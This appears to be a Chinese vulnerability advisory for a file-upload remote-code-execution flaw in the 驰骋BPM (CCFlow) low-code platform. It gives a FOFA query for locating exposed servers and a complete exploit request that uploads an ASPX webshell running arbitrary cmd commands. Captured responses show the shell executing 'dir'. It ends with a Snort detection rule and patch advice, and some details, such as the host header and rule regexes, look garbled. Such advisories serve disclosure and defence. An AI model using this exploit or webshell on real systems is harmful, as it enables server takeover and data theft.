

驰骋BPM低代码开发平台 RichUploadFile 文件上传致RCE漏洞

驰骋BPM低代码开发平台 RichUploadFile 文件上传致RCE漏洞，攻击者可通过上传恶意文件导致服务器被控制。

影响版本

驰骋BPM低代码开发平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/WF/AppClassic/Home.htm" || body="ccbpm" || body="/DataUser/Icon/LogBig.png"

POC/EXP:

```
POST /WF/Comm/Handler.ashx?
DoType=HttpHandler&DoMethod=RichUploadFile&HttpHandlerName=BP.WF.HttpHandler.WF_C
omm_Sys&Directory=Mazi HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryFfJZ4PlAZBixjELj
Accept: */*
Connection: close

-----WebKitFormBoundaryFfJZ4PlAZBixjELj
Content-Disposition: form-data; name="edit"; filename="rce.aspx"
Content-Type: image/jpeg
```

```

<%@ Page Language="Jscript" validateRequest="false" %>
<%
var c=new System.Diagnostics.ProcessStartInfo("cmd");
var e=new System.Diagnostics.Process();
var out:System.IO.StreamReader,EI:System.IO.StreamReader;
c.UseShellExecute=false;
c.RedirectStandardOutput=true;
c.RedirectStandardError=true;
e.StartInfo=c;
c.Arguments="/c " + Request.Item["cmd"];
e.Start();
out=e.StandardOutput;
EI=e.StandardError;
e.Close();
Response.Write(out.ReadToEnd() + EI.ReadToEnd());
System.IO.File.Delete(Request.PhysicalPath);
Response.End();%>
-----WebKitFormBoundaryFfJZ4PlAZBixjELj--

```

Request

< >

数据包扫描

美化

HEX

添加

构造请求

47Bytes / 45ms

1 POST /WF/Comm/Handler.ashx?DoType=HttpHandler&DoMethod=RichUploadFile&HttpHandlerName=BP.WF.HttpHandler.WF_Comm_Sys&Directory=Mzi HTTP/1.1

2 Host: 192.168.1.10:537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36

4 Accept-Encoding: gzip, deflate

5 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryFfJZ4PlAZBixjELj

6 Accept: */*

7 Connection: close

8

9 -----WebKitFormBoundaryFfJZ4PlAZBixjELj

10 Content-Disposition: form-data; name="edit"; filename="rce.aspx"

11 Content-Type: image/jpeg

12

13 <%@ Page Language="Jscript" validateRequest="false" %>

14 <%

15 var c=new System.Diagnostics.ProcessStartInfo("cmd");

16 var e=new System.Diagnostics.Process();

17 var out:System.IO.StreamReader,EI:System.IO.StreamReader;

18 c.UseShellExecute=false;

19 c.RedirectStandardOutput=true;

20 c.RedirectStandardError=true;

21 e.StartInfo=c;

22 c.Arguments="/c " + Request.Item["cmd"];

23 e.Start();

24 out=e.StandardOutput;

25 EI=e.StandardError;

26 e.Close();

27 Response.Write(out.ReadToEnd()+EI.ReadToEnd());

28 System.IO.File.Delete(Request.PhysicalPath);

29 Response.End();%>

30 -----WebKitFormBoundaryFfJZ4PlAZBixjELj--

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/8.5

5 Set-Cookie: ASP.NET_SessionId=24b1q3ttbhedwaxvzn1nda; path=/; HttpOnly; SameSite=Lax

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Fri, 18 Jul 2025 14:26:27 GMT

9 Connection: close

10 Content-Length: 47

11

12 D:\Web\CRM1\DataUser\RichTextField\Mzi\rce.aspx

Request

< >

数据包扫描

美化

HEX

添加

构造请求

4318Bytes / 445ms

1 GET /DataUser/RichTextField/Mzi/rce.aspx?cmd=dir HTTP/1.1

2 Host: 192.168.1.10:537.36

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft-IIS/8.5

5 Set-Cookie: ASP.NET_SessionId=j4tms4vuvgj4e1qsfk1u3c; path=/; HttpOnly; SameSite=Lax

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Fri, 18 Jul 2025 14:26:54 GMT

9 Content-Length: 4318

10

11 驱动器 C 中的卷没有标签。

12 卷的序列号是 3066-9782

13

14 C:\Windows\System64\inetnsvr 的目录

15

16 2024/04/24-18:18 <DIR> ..

17 2024/04/24-18:18 <DIR> ..

18 2023/07/25-19:39191,488 abocomp.dll

19 2023/07/25-19:39288,768 adsiils.dll

20 2020/06/28-09:45180,832 appcmd.exe

21 2013/07/02-00:493,810 appcmd.xml

22 2023/05/15-17:4562,464 apphostsvc.dll

23 2019/09/16-06:55350,720 appobj.dll

24 2023/05/15-18:12386,048 asp.dll

25 2023/05/15-18:1222,196 asp.mof

26 2020/06/28-09:45124,416 aspnetca.exe

27 2023/05/15-18:1222,528 asptlb.tlb

28 2023/05/15-17:4528,672 authenon.dll

29 2023/05/15-18:1258,368 browscap.dll

30 2023/05/15-18:1234,474 browscap.ini

31 2022/07/02-11:2919,456 cachefile.dll

32 2022/06/23-13:3745,056 cachettp.dll

33 2022/07/02-11:2912,800 cacntoken.dll

34 2022/07/02-11:2911,776 cacuri.dll

35 2022/07/02-11:4361,440 certobj.dll

36 2023/05/15-18:1235,840 cgi.dll

37 2023/07/25-19:3976,800 coadmin.dll

38 2023/05/15-17:4538,400 compstat.dll

39 2023/05/15-17:45 <DIR> .. Config

40 2023/05/15-17:4548,448 custerr.dll

41 2024/04/24-18:18 <DIR> .. de-DE

42 2023/05/15-17:4515,872 defdoc.dll

43 2023/05/15-17:4519,456 dirlist.dll

44 2024/04/24-18:18 <DIR> .. en-US

snort规则:

```

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"CCFlow BPM - RCE via RichUploadFile (CVE-2025-XXXXX)";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/WF/Comm/Handler.ashx"; http_uri;

```

```
content:"DoMethod=RichUploadFile"; http_uri;  
content:"filename="; http_client_body;  
pcre:"/filename=[\"'\"][\^\"]]*\.(aspx|jsp|php)[\"']/i";  
pcre:"/<%@s+Page\s+Language=\"Jscript\"/i";  
metadata:service http;  
metadata:affected_product "驰骋BPM低代码开发平台";  
metadata:vulnerability_type "File Upload to RCE";  
classtype:web-application-attack;  
sid:1000350;  
rev:1;  
priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。